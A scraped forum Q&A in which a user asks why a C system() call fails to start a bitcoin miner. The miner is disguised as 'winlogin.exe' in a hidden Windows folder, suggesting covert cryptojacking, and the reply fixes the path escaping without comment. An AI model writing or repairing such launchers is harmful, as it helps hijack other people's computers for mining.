Problems using system() commands under Windows

0 votes

i'm trying to run a bitcoin miner trough a system command. Here is the code

#include <windows.h>
int main()
{
system("C:\Windows\AppPatch\Custom\Personal\winlogin.exe -o http://example.pool.com:80 -u user -p password");
}

Please help

Sep 5, 2018 in Blockchain by slayer
• 29,170 points
52 views

1 answer to this question.

0 votes

You need to have double \ for paths

system("C:\\Windows\\AppPatch\\Custom\\Personal\\winlogin.exe -o http://example.pool.com:80 -u user -p password");

or single '/'

answered Sep 5, 2018 by digger
• 26,550 points

Related Questions In Blockchain

0 votes
1 answer

How to create a cryptocurrency based reward system using Ethereum?

I doubt that you'd need a decentralized ...READ MORE

answered May 30, 2018 in Blockchain by Shashank
• 10,350 points
102 views
0 votes
1 answer

Hyperledger Fabric query system chaincode using node SDK

The Fabric Node SDK actually provides a ...READ MORE

answered Nov 9, 2018 in Blockchain by Christine
• 15,790 points
257 views
+1 vote
3 answers

Is it possible to store data about arbitrary objects on the blockchain using smart contracts?

Consider following tutorial from Hyperledger Fabric "Getting Started" pages. Basically ...READ MORE

answered Aug 30, 2018 in Blockchain by Artem
126 views
+3 votes
2 answers

How to run ethereumjs using Node.JS

You need to install testrpc globally on ...READ MORE

answered Mar 27, 2018 in Blockchain by ned_crew
• 1,620 points
156 views
0 votes
1 answer

Protocols used in a distributed/dlt system for the nodes to establish communication

yes all are over TCP/IP connections secured by TLS encryption in hashgraph architecture-hashgraph, ...READ MORE

answered Aug 6, 2018 in Blockchain by ariaholic
• 7,340 points
90 views
0 votes
1 answer

Truffle tests not running after truffle init

This was a bug. They've fixed it. ...READ MORE

answered Sep 11, 2018 in Blockchain by Christine
• 15,790 points
169 views
0 votes
1 answer
0 votes
1 answer

How to transact custom token instead of ethers using JSON rpc?

First create your custom token. Then develop ...READ MORE

answered Jul 10, 2018 in Blockchain by digger
• 26,550 points
41 views
0 votes
1 answer

Error while Querying System Chaincode.

Do not interact directly with the ledger.. ...READ MORE

answered Jul 12, 2018 in Blockchain by digger
• 26,550 points
155 views